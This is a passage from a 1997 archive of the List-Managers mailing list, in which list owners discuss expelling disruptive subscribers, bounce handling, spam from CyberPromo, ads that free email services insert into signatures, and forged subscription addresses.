1,331: > >why does this story sound so familiar??? > But you forgot the letter from the list manager writing a letter >saying that s/he'll have to start moderating the list if all the >flames get too out of hand, or if the mail gets too irrelevant! >So, i say 1,332. >8-) >kies >------------------------------------------------------------- >to be removed from the powderworks mailing list, send the line >"unsubscribe powderworks" to majordomo@cs.colorado.edu > > note the tail piece .. pertaining to the recent discussion about unwanted subscriptions. RibMan@tpgi.com.au http://www1.tpgi.com.au/users/rmanthe http://www1.tpgi.com.au/users/rmanthe/PuntersPage Official Band WebSites: http://www1.tpgi.com.au/users/rmanthe/SpyVSpy http://www1.tpgi.com.au/users/rmanthe/Millstones http://www1.tpgi.com.au/users/rmanthe/FranksFishbowl From owner-list-managers-outgoing Tue Apr 15 23:54:49 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA01162 for list-managers-outgoing; Tue, 15 Apr 1997 23:53:34 -0700 (PDT) Received: from mail2.plaidworks.com (mail2.plaidworks.com [207.167.80.69]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id XAA01078 for ; Tue, 15 Apr 1997 23:53:13 -0700 (PDT) Received: from [207.167.80.70] (zamboni.plaidworks.com [207.167.80.70]) by mail2.plaidworks.com (8.8.5/8.8.5) with ESMTP id XAA22852; Tue, 15 Apr 1997 23:53:49 -0700 Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 15 Apr 1997 23:36:25 -0700 To: murr rhame , List-Managers@GreatCircle.COM From: Chuq Von Rospach Subject: Re: Dealing with problem subscribers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 3:41 PM -0700 4/15/97, murr rhame wrote: >I agree with Vince with regards to obnoxious subscribers. It only takes a >few idiots to kill a good mailing list. The listowner is providing the >facilities. The listowner can establish the rules of the forum. It helps to have rules you can point at, so the "we didn't know" and "you're making this up as you go along" fall by the wayside. Look at it as a strict reality check: do you want to be part of a list that is (a) run by a couple of yahoos you hate, or (b) full of people you enjoy talking to? The failure to kick an idiot user off can cost you many other users, who give up and leave. Once they're gone, they're gone. so what's best for the list? Triage in removing one bad user? Or letting them exercise their "rights" and lose all of those other ones? Most folks who complain about the "censorship" of the one never think about the many. IMHO, if a list is shrinking in size, it has a problem. Most users of lists vote with their butts and legs. If they like it, they sit on their butt and read it. If they don't, they stand up and walk. When users start walking, it's a sign it's time to fix whatever's wrong, because something is. Try to be consistent, but over the last couple of years, I've gone from working my butt off trying to "save" or "rehabilitate" users, giving chances, etc, etc, etc, to basically using the "shoot them all, let god sort them out" idea -- People get warnings, but if they don't shape up, they ship out. And if they come in and act like real jackasses, they ship out and THEN we ask questions about why, to preserve the list for real material. If it's an honest mistake, great. I let them back in. If they start screaming evne louder, it's evidence that cutting access was right... I'm always open to a reasonable discussion. I so rarely get them... -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Wed Apr 16 00:54:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id AAA13342 for list-managers-outgoing; Wed, 16 Apr 1997 00:51:14 -0700 (PDT) Received: from server.postmodern.com (kristeva.postmodern.com [198.102.244.54]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id AAA13317 for ; Wed, 16 Apr 1997 00:51:05 -0700 (PDT) Received: from 198.102.244.51 (derrida.postmodern.com [198.102.244.51]) by server.postmodern.com (8.7.5/mcb-960422) with SMTP id AAA02222; Wed, 16 Apr 1997 00:50:31 -0700 (PDT) Message-ID: <335484C7.7EE5@postmodern.com> Date: Wed, 16 Apr 1997 00:55:44 -0700 From: "Michael C. Berch" Reply-To: mcb@postmodern.com Organization: Postmodern Consulting, California USA X-Mailer: Mozilla 3.01Gold (Macintosh; I; 68K) MIME-Version: 1.0 To: list-managers Subject: The chutzpah award Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk This week's chutzpah award goes to wake@wln.com, apparently the admin at an Internet training site. Her message and my response follow. -- Michael C. Berch mcb@postmodern.com / mcb@greatcircle.com ----------------------------------- wake@wln.com wrote: > > Dear list owner - > Your policy of moving 'problem' accounts to your bounce list and > generating daily email is creating problems for our site, which > recycles some accounts for training individual users. (Userids in the > format of trainxx@wln.com and demoXXX@wln.com, for instance.) We had > to manually reset our account and communicate with your bounce list to > get one of our training accounts removed from some list some user > joined. This is very time-consuming. > > I wondered if you might reconsider your daily bounce list message > policy. Normally if an account is removed from our system, it can be > restored a few days later with a clean slate -- without any list mail > being generated to it. Sorry, but I cannot see any justification for treating your domain differently than the hundreds of other domains whose users subscribe to lists here. The bounces list saves quite a bit of work for the list manager, and permits users whose addresses are temporarily unreachable to resubscribe easily. Have you considered that using live Internet lists for your training purposes is causing additional work for list managers, especially if you do not instruct your users to unsubscribe (or do it for them) at the end of their session? Frankly, I would prefer not to have demo or training accounts use my lists for "practice", and therefore will block your domain from use of the Majordomo server here if this practice continues to generate list bounces. You might want to think this through again. Regards, -- Michael C. Berch Postmaster/List Admin mcb@postmodern.com From owner-list-managers-outgoing Wed Apr 16 06:54:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA20494 for list-managers-outgoing; Wed, 16 Apr 1997 06:43:38 -0700 (PDT) Received: from eagle.inetnebr.com (eagle.inetnebr.com [199.184.119.14]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id GAA20487 for ; Wed, 16 Apr 1997 06:43:31 -0700 (PDT) Received: from carrot.tssi.com (root@gateway.tssi.com [198.147.197.29]) by eagle.inetnebr.com (8.8.5/8.8.5) with ESMTP id IAA28601 for ; Wed, 16 Apr 1997 08:42:57 -0500 (CDT) Received: from celery.tssi.com (carrot.tssi.com) by carrot.tssi.com (8.6.12/8.6.9) with ESMTP id IAA23282 for ; Wed, 16 Apr 1997 08:42:58 -0500 Received: (from celery.tssi.com) by celery.tssi.com (8.7.5/8.7.3) id IAA17088 for list-managers@GreatCircle.com; Wed, 16 Apr 1997 08:42:55 -0500 From: Mike Nolan Message-Id: <199704161342.IAA17088@celery.tssi.com> Subject: Re: Dealing with problem subscribers To: list-managers@GreatCircle.com (List Managers) Date: Wed, 16 Apr 1997 08:42:55 -0500 (CDT) Reply-To: nolan@tssi.com X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Chuq Von Rospach wrote: > It helps to have rules you can point at, so the "we didn't know" and > "you're making this up as you go along" fall by the wayside. Anyone who wants a copy of the rules of my main list can write to unlfaq@tssi.com for the current list info document and FAQ. After five years of revising them to cover situations as they arose, my posting guidelines have gotten rather specific in some areas, especially dealing with flame fests, off-topic posts and copyright abuses. > The failure to kick an idiot user off can cost you many other users, > who give up and leave. Once they're gone, they're gone. so what's best > for the list? Triage in removing one bad user? Or letting them exercise > their "rights" and lose all of those other ones? Most folks who > complain about the "censorship" of the one never think about the many. As I wrote to someone yesterday, IMHO there aren't any God-given or First Amendment rights to a free mailing list (and precious few to a paid list), and any privileges I choose to grant can be revoked. I try to enforce my rules swiftly and evenly, and I've got a big file of thank you notes from subscribers as a result of my stepping in to stop various threads. In five years, I've only had to kick about 10 people off my lists, and about half of those were spammers. (I'm sure some obnoxious folks have left "voluntarily", they weren't missed.) I've found that many people, even though they may be pests elsewhere on the net, will behave themselves on my lists once they see the light. Some even become productive posters. -- Mike Nolan From owner-list-managers-outgoing Wed Apr 16 10:10:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA22891 for list-managers-outgoing; Wed, 16 Apr 1997 09:40:13 -0700 (PDT) Received: from miles.greatcircle.com (miles.greatcircle.com [198.102.244.34]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA18158 for ; Wed, 16 Apr 1997 09:14:50 -0700 (PDT) Received: from mailhub.Stanford.EDU (mailhub.Stanford.EDU [36.21.0.128]) by miles.greatcircle.com (8.8.5/Miles-970308-2) with ESMTP id IAA22595 for ; Wed, 16 Apr 1997 08:47:01 -0700 (PDT) Received: from [171.64.76.140] (Cervantes.Stanford.EDU [171.64.76.140]) by mailhub.Stanford.EDU (8.8.5/8.8.5/L) with ESMTP id IAA13470 for ; Wed, 16 Apr 1997 08:44:58 -0700 (PDT) X-Sender: wbarr@popserver.stanford.edu Message-Id: In-Reply-To: <199704161342.IAA17088@celery.tssi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 16 Apr 1997 08:45:17 -0700 To: list-managers@GreatCircle.COM From: "William P. Barr" Subject: Re: Dealing with problem subscribers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >As I wrote to someone yesterday, IMHO there aren't any God-given or First >Amendment rights to a free mailing list (and precious few to a paid list), >and any privileges I choose to grant can be revoked. Precisely. I have been threatened by the word, "sue" a number of times. My canned response is, "Great! I would love to have a day off work to watch the spectacle of your humiliation. Try reading the Constitution before threatening me with it." >I try to enforce my rules swiftly and evenly, and I've got a big file of >thank you notes from subscribers as a result of my stepping in to stop >various threads. In five years, I've only had to kick about 10 people off >my lists, and about half of those were spammers. I'm in the same boat. Most recently, I kicked 2 users off a 1000 member list and the amount of email was cut in half and the quality of discussion and on-topic mail was immeasurably improved. I received several dozen "hey, it's a lot quieter on the list, what did you do?" messages shortly afterwards. It only takes one or two idiots with way too much time on their hands to cause a lot of grief. I try to be fair, but when people decide to obey the letter rather than the spirit, I quickly lose patience. Bill -- William Barr, Stanford Computer Forum wbarr@leland.stanford.edu Listowner: butler-sql, harpoon, phoenix-command, tacops, z-scale, n-scale@lists.stanford.edu "My opinions are mine and only mine." From owner-list-managers-outgoing Wed Apr 16 13:25:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA27049 for list-managers-outgoing; Wed, 16 Apr 1997 13:22:35 -0700 (PDT) Received: from private.lists.apple.com ([17.254.0.152]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id NAA27017 for ; Wed, 16 Apr 1997 13:22:23 -0700 (PDT) Received: from [17.219.12.99] (chuqui.apple.com [17.219.12.99]) by private.lists.apple.com (8.6.10/A/UX 3.1) with ESMTP id NAA09912; Wed, 16 Apr 1997 13:22:35 -0700 Message-Id: In-Reply-To: References: <199704161342.IAA17088@celery.tssi.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 16 Apr 1997 13:19:33 -0700 To: "William P. Barr" , list-managers@GreatCircle.COM From: Chuq Von Rospach Subject: Re: Dealing with problem subscribers Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 8:45 AM -0700 4/16/97, William P. Barr wrote: >Precisely. I have been threatened by the word, "sue" a number of times. >My canned response is, "Great! I would love to have a day off work to >watch the spectacle of your humiliation. Try reading the Constitution >before threatening me with it." Even better, the word "sue" ends any conversation with "since you're threatening legal action, I can't continue discussing this since you might try to use anything I say in the lawsuit. Have your lawyer contact me if you want to pursue this further." click. And, of course, someone threatening lawsuits won't get access to my servers or lists, either. Unless they win the lawsuit... I've yet to find someone who's actually gone to a lawyer and found one that didn't laugh at them... >I'm in the same boat. Most recently, I kicked 2 users off a 1000 member >list and the amount of email was cut in half and the quality of discussion >and on-topic mail was immeasurably improved. And I started trying to rehab a list this morning. Wish me luck... -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Wed Apr 16 17:10:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA01802 for list-managers-outgoing; Wed, 16 Apr 1997 17:06:50 -0700 (PDT) Received: from atheria.europa.com (atheria.europa.com [199.2.194.10]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id RAA01537 for ; Wed, 16 Apr 1997 17:06:02 -0700 (PDT) Received: from thetics.europa.com(really [199.2.194.14]) by atheria.europa.com via sendmail with smtp id for ; Wed, 16 Apr 1997 17:05:34 -0700 (PDT) (Smail-3.2.0.91 1997-Jan-14 #4 built 1997-Jan-19) Date: Wed, 16 Apr 1997 17:05:34 -0700 (PDT) From: kali To: list-managers@greatcircle.com Subject: FW: [NTSEC] On the lighter side... (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk ya'll should appreciate this one... :) ---------- From: Steve Neeland[SMTP:sjneeland@ahcccs.state.az.us] Reply To: Steve Neeland Sent: Wednesday, April 16, 1997 3:13 PM To: ntsecurity@iss.net; winnt-l@peach.ease.lsoft.com Subject: [NTSEC] On the lighter side... I got this joke on another type of list and I thought it was soooo funny! Please enjoy it and don't consider it as a personal affont to anyone. It is just soooo true, and we need to laugh at ourselves more. Q: How many internet mail list subscribers does it take to change a light bulb? A: 1,331: 1 to change the light bulb and to post to the mail list that the light bulb has been changed 14 to share similar experiences of changing light bulbs and how the light bulb could have been changed differently. 7 to caution about the dangers of changing light bulbs. 27 to point out spelling/grammar errors in posts about changing light bulbs. 53 to flame the spell checkers 156 to write to the list administrator complaining about the light bulb discussion and its inappropriateness to this mail list. 41 to correct spelling in the spelling/grammar flames. 109 to post that this list is not about light bulbs and to please take this email exchange to alt.lite.bulb 203 to demand that cross posting to alt.grammar, alt.spelling and alt.punctuation about changing light bulbs be stopped. 111 to defend the posting to this list saying that we are all use light bulbs and therefore the posts **are** relevant to this mail list. 306 to debate which method of changing light bulbs is superior, where to buy the best light bulbs, what brand of light bulbs work best for this technique, and what brands are faulty. 27 to post URLs where one can see examples of different light bulbs 14 to post that the URLs were posted incorrectly, and to post corrected URLs. 3 to post about links they found from the URLs that are relevant to this list which makes light bulbs relevant to this list. 33 to concatenate all posts to date, then quote them including all headers and footers, and then add "Me Too." 12 to post to the list that they are unsubscribing because they cannot handle the light bulb controversey. 19 to quote the "Me Too's" to say, "Me Three." 4 to suggest that posters request the light bulb FAQ. 1 to propose new alt.change.lite.bulb newsgroup. 47 to say this is just what alt.physic.cold_fusion was meant for, leave it here. 143 votes for alt.lite.bulb. Please no flames on the list. If you must, do it privately. -- Steve sjneeland@ahcccs.state.az.us From owner-list-managers-outgoing Wed Apr 16 18:25:21 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA07289 for list-managers-outgoing; Wed, 16 Apr 1997 17:36:11 -0700 (PDT) Received: from atheria.europa.com (atheria.europa.com [199.2.194.10]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id RAA07250 for ; Wed, 16 Apr 1997 17:36:01 -0700 (PDT) Received: from thetics.europa.com(really [199.2.194.14]) by atheria.europa.com via sendmail with smtp id for ; Wed, 16 Apr 1997 17:35:34 -0700 (PDT) (Smail-3.2.0.91 1997-Jan-14 #4 built 1997-Jan-19) Date: Wed, 16 Apr 1997 17:35:34 -0700 (PDT) From: kali To: list-managers@greatcircle.com Subject: I am a dork. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk OK, 2 seconds after I hit send I looked up and saw that this "how many list members" thing *already* hit this list. Guess I should start reading my mail.... Does that make me just as bad as my list-subscribers??? *sigh* -kali From owner-list-managers-outgoing Wed Apr 16 18:34:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA05937 for list-managers-outgoing; Wed, 16 Apr 1997 17:28:39 -0700 (PDT) Received: from synergy.transbay.net (synergy.transbay.net [207.105.6.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id RAA05920 for ; Wed, 16 Apr 1997 17:28:28 -0700 (PDT) Received: from kuno (jbuck133.transbay.net [207.105.7.133]) by synergy.transbay.net (8.6.9/8.6.9) with SMTP id RAA20138; Wed, 16 Apr 1997 17:27:39 GMT Message-Id: <199704161727.RAA20138@synergy.transbay.net> Comments: Authenticated sender is From: "John Buckman" Organization: Walter Shelby Group Ltd. To: "Nathan J. Mehl" Date: Wed, 16 Apr 1997 17:29:17 +7 Subject: Re: CyberPromo CC: list-managers@GreatCircle.COM In-reply-to: <199704151934.PAA27873@zax.leftbank.com> References: <3.0.1.32.19970415112232.006cac1c@klstools.com> from "Ken Kyler" at Apr 15, 97 11:22:32 am X-mailer: Pegasus Mail for Win32 (v2.53/R1) Sender: list-managers-owner@GreatCircle.COM Precedence: bulk > Cyberpromo does _not_ honor remove requests. Full stop. They don't read > them, they don't act on them, they have no means of tracking, executing, > filing or verifying them. > > They are _lying_ when they say they will remove you from their lists on > request. I cannot put it any more plainly than that. Agreed, that has been our experience also. Also, be careful when identifying yourself to spammers by telephone. It's fairly common for them to retaliate. One person here talked to someone at CyberPromo who said she would be removed. She wasn't, and spam to her seemed to get considerably worse after the call. They've started using a "web spider" to pick email addresses off her home page. On the bright side: I've been told that CyberPromo has a "manifesto" of sorts in the message headers of their spam, and you can use this to auto-filter things from them. John John Buckman Shelby Group Ltd., http://www.shelby.com/ Developers of Lyris Email List Server From owner-list-managers-outgoing Wed Apr 16 21:24:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA04146 for list-managers-outgoing; Wed, 16 Apr 1997 21:22:57 -0700 (PDT) Received: from kparker.nai.net (kparker.nai.net [208.133.166.213]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id VAA04128 for ; Wed, 16 Apr 1997 21:22:49 -0700 (PDT) Received: from localhost (admin@localhost) by kparker.nai.net (8.8.5/8.8.5) with SMTP id XAA23526 for ; Wed, 16 Apr 1997 23:24:43 -0400 Date: Wed, 16 Apr 1997 23:24:43 -0400 (EDT) From: Ken Parker To: List Managers Subject: Re: CyberPromo In-Reply-To: <199704161727.RAA20138@synergy.transbay.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Wed, 16 Apr 1997, John Buckman wrote: > On the bright side: I've been told that CyberPromo has a "manifesto" of > sorts in the message headers of their spam, and you can use this to > auto-filter things from them. That "manifesto" seems to vary but every one I've seen includes mention of their "hot" web site (http://www.cyberpromo.com). That sounds like a good thing to check for. (The latest I've seen even makes mention of abuse@cyberpromo.com, believe it or not!) Till later, Ken Parker (http://kparker.nai.net) From owner-list-managers-outgoing Wed Apr 16 21:32:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA03501 for list-managers-outgoing; Wed, 16 Apr 1997 21:15:57 -0700 (PDT) Received: from unix.worldpath.net (unix.worldpath.net [206.152.180.10]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id VAA03455 for ; Wed, 16 Apr 1997 21:15:36 -0700 (PDT) Received: from lizard (ndur1-14.worldpath.net [206.152.181.84]) by unix.worldpath.net (8.8.5/8.7.3(CICNet)) with SMTP id AAA03835 for ; Thu, 17 Apr 1997 00:13:26 -0400 (EDT) Date: Thu, 17 Apr 1997 00:13:26 -0400 (EDT) Message-Id: <199704170413.AAA03835@unix.worldpath.net> X-Sender: bourbeau@unix.worldpath.net X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: list-managers@GreatCircle.COM From: Ken Bourbeau Subject: centra.com in message ads? Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Ok. Here's a new one on me. Fellow posted to the Maria McKee mailinglist and his signature had the following banner. The mail came from centra.com Are the free email services now putting ads in the BODY of outgoing messages? >Organization: Centra Software, Inc. >To: mckeefan@btc.btechnet.com message deleted > >- joe - > >****************************************************************** >** This message brought to you by: ** >** _ ** >** | | ** >** _ __ ___ ___ _ __ | |_ ___ ___ (tm) ** >** | '_ ` _ \ / _ \| '_ \ | __| / _ \ / __| ** >** | | | | | || __/| | | || |_ | (_) |\__ \ ** >** |_| |_| |_| \___||_| |_| \__| \___/ |___/ ** >** ** >** The Freshmaker! ** >****************************************************************** I wrote the person who posted and asked him to turn off his sig when posting. Am I just a skeptic in believing the answer is "I can't" Stay tuned...... Ah the suspense is killing me. Guess I'll go search out the Centra web site. Best to ya from the Sticks o New Hampshire, Kenny "I just showed you my own personal hell, and you want me to show you heaven?" MM 3/24/96 ----------------------------------------------------------- Maria McKee Mailinglist *** Rod Stewart Mailinglist Email me to subscribe OR www.ziplink.net/users/bourbeau/ ------------------------------------------------------------ From owner-list-managers-outgoing Wed Apr 16 22:25:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id WAA11882 for list-managers-outgoing; Wed, 16 Apr 1997 22:17:18 -0700 (PDT) Received: from out1.ibm.net (out1.ibm.net [165.87.194.252]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id WAA11875 for ; Wed, 16 Apr 1997 22:17:10 -0700 (PDT) Received: (from uucp@localhost) by out1.ibm.net (8.6.9/8.6.9) id FAA221221; Thu, 17 Apr 1997 05:16:42 GMT Received: from slip166-72-236-171.ca.us.ibm.net(166.72.236.171) by out1.ibm.net via smap (V1.3mjr) id smaFh8CkR; Thu Apr 17 05:16:37 1997 Message-Id: <3.0.32.19970416213639.00c37ef4@mail.crl.com> X-Sender: jfh@mail.crl.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 16 Apr 1997 22:16:38 -0700 To: kali From: Jack Hamilton Subject: Re: FW: [NTSEC] On the lighter side... (fwd) Cc: list-managers@GreatCircle.COM Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 05:05 PM 4/16/97 -0700, kali wrote: >Q: How many internet mail list subscribers does it take > to change a light bulb? > >A: 1,331: This one seems to be making the rounds, since I received it on another list today as well. The response there was: >>>This is an Internet mailing list and therefore the following >should be 1,332. The additional person would be an accountant >>to double check the math of the posting. > >No, you're both wrong. What about the interior designers who would be >needed to check on the effect of the lighting, and the lighting designers >they would need to sub-contract to for the technical input?? --------------------------- Jack Hamilton jfh@acm.org From owner-list-managers-outgoing Thu Apr 17 04:40:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA11151 for list-managers-outgoing; Thu, 17 Apr 1997 04:29:03 -0700 (PDT) Received: from uhura.ici.net (uhura.ici.net [204.97.252.6]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id EAA11131 for ; Thu, 17 Apr 1997 04:28:49 -0700 (PDT) Received: from LOCALNAME (d-ma-mansfield-34.ici.net [207.180.8.43]) by uhura.ici.net (8.8.4/8.8.4) with SMTP id HAA00552 for ; Thu, 17 Apr 1997 07:32:04 -0400 (EDT) Date: Thu, 17 Apr 1997 07:32:04 -0400 (EDT) Message-Id: <199704171132.HAA00552@uhura.ici.net> X-Sender: lbm@mail.ici.net X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: List-Managers@GreatCircle.COM From: "Linda B. Merims" Subject: Re: centra.com in message ads? Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Ken Bourbeau wrote: >Ok. Here's a new one on me. Fellow posted to the Maria McKee mailinglist and his >signature had the following banner. The mail came from centra.com > >Are the free email services now putting ads in the BODY of outgoing messages? > > My listserver has a firm "no ads" policy. I had to tell the people from hotmail.com, all of whose posts were coming in with: --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- that they either had to turn this off (they can't), or find a new ISP. If these keep coming in, I'll have to disallow subscribers from hotmail altogether. I wrote to the comments@hotmail.com address about it, explaining that it was turning into a spam-by-proxy when their clients subscribe to a listserver. No response. Linda B. Merims MorganList Administrator listmaster@morganlist.org From owner-list-managers-outgoing Thu Apr 17 07:44:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA02132 for list-managers-outgoing; Thu, 17 Apr 1997 07:34:01 -0700 (PDT) Received: from colossus.arl.mil (colossus.arl.mil [131.218.204.98]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id HAA02116 for ; Thu, 17 Apr 1997 07:33:52 -0700 (PDT) Received: from [131.218.204.98] by colossus.arl.mil with ESMTP (Eudora Internet Mail Server 1.1.2); Thu, 17 Apr 1997 10:37:17 -0400 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Organization: Little to None X-Mailer: Eudora 3.0 for Cray Y-MP Date: Thu, 17 Apr 1997 10:36:11 -0400 To: List-Managers@GreatCircle.COM, listmom-talk@skyweyr.com, List Abuse From: Vince Sabio Subject: More Addresses For The "Abuse" File Sender: list-managers-owner@GreatCircle.COM Precedence: bulk First of all, I'd like to thank Alexander Verbraeck for posting his "big list" of forged addresses last Sunday; I dropped the entire list on my .ignored file, and things suddenly got a lot quieter. :-) Over the past few days, however, I've identified three more bogus subcription attempts for addresses that were not in the lists posted on Sunday. So, anyone who wants to update his .ignored file can add these: balze@ftbcc.it luif@zahra.easynet.it deen19@idt.net If anyone has more to add to the fray, I'd encourage posting them; this effort has turned out to be pretty successful so far (at least for me). - Vince Sabio HumourNet, Mac-L, TSC Listmom listmom@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to . (Finally out of beta! :-) -- From owner-list-managers-outgoing Thu Apr 17 09:19:01 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA12630 for list-managers-outgoing; Thu, 17 Apr 1997 09:01:37 -0700 (PDT) Received: from webster.m-w.com ([206.98.43.4]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id JAA12586 for ; Thu, 17 Apr 1997 09:01:25 -0700 (PDT) Received: by m-w.com (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA22323; Thu, 17 Apr 97 11:51:48 EDT Date: Thu, 17 Apr 97 11:51:48 EDT From: awest@webster.m-w.com (Amy West) Message-Id: <9704171551.AA22323@m-w.com> To: list-managers@greatcircle.com Subject: spammer spoofing humv-dist Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Some spam just bounced to me this morning after the mailer was unable to return it because it allegedly came from humv-dist at surplusdirect.com. The various host ips in the headers didn't check out, of course, (204.160.201.16; 204.106.130.10; eggsite6) except for the spoofed surplusdirect.com site. Just thought I'd let y'all know. Little bastards. Grumble, grumble. ---Amy West Mail Admin Merriam-Webster Inc. From owner-list-managers-outgoing Thu Apr 17 12:42:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA16402 for list-managers-outgoing; Thu, 17 Apr 1997 12:30:45 -0700 (PDT) Received: from private.lists.apple.com ([17.254.0.152]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id MAA16394 for ; Thu, 17 Apr 1997 12:30:39 -0700 (PDT) Received: from [17.219.12.99] (chuqui.apple.com [17.219.12.99]) by private.lists.apple.com (8.6.10/A/UX 3.1) with ESMTP id MAA05522; Thu, 17 Apr 1997 12:31:40 -0700 Message-Id: In-Reply-To: <199704171132.HAA00552@uhura.ici.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 17 Apr 1997 12:30:47 -0700 To: "Linda B. Merims" , List-Managers@GreatCircle.COM From: Chuq Von Rospach Subject: Re: centra.com in message ads? Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 4:32 AM -0700 4/17/97, Linda B. Merims wrote: >My listserver has a firm "no ads" policy. I had to tell the >people from hotmail.com, all of whose posts were coming in with: I generally have a "no ads without permission" policy, but I've learned over time that trying to administer signatures is a losing proposition, so as long as the signature is "reasonable" (not long, not profane, etc) I chalk those up to individual results. The guy who, for instance, had a (I kid you not) 200 line ascii graphic celebrating Christ's birth for Easter does not qualify as "reasonable", no matter how he argued... I mean, *my* signature might be construed by some as either "too long" , or "advertising", based on the occasional yahoo mail I get (in my case, since I was the one who originally wrote the document that defined acceptable signature length, I once in a while have someone toss that at me and bitch, to which I point out "it's been almost 15 years since I wrote that. Things change." but I digress...) What I don't tolerate in signatures -- long stuff, ascii graphics, and copyright restrictions that can't be enforced on the list (in the Apple world, some folks put copyrights disallowing distribution through microsoft's networks. I have to tell them the only way I can enforce that restriction is by cutting off their posting access to my lists, so if they insist on using it, I'll have to shut off their use... You wanna see screams of disbelief? grin....) -- the hotmail stuff doesn't bother me, and is far from worth the hassle attempted enforcement would cause, so I ignore it. But if they did something that was ten or 15 lines deep, I'd jump on it. A three line blurb isn't worth fighting over, IMHO, unless I'm looking for a reason to kick out the domain. -- Chuq Von Rospach (chuq@apple.com) Apple IS&T Mail List Gnome Plaidworks Consulting (chuqui@plaidworks.com) ( +-+ The home for Hockey on the net) From owner-list-managers-outgoing Fri Apr 18 14:41:10 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA24102 for list-managers-outgoing; Fri, 18 Apr 1997 14:39:25 -0700 (PDT) Received: from tardis.Tymnet.COM (tardis.tymnet.com [131.146.3.15]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id OAA24086 for ; Fri, 18 Apr 1997 14:39:17 -0700 (PDT) Received: (from jms@localhost) by tardis.Tymnet.COM (8.8.5/8.8.5) id OAA21051 for list-managers@greatcircle.com; Fri, 18 Apr 1997 14:39:10 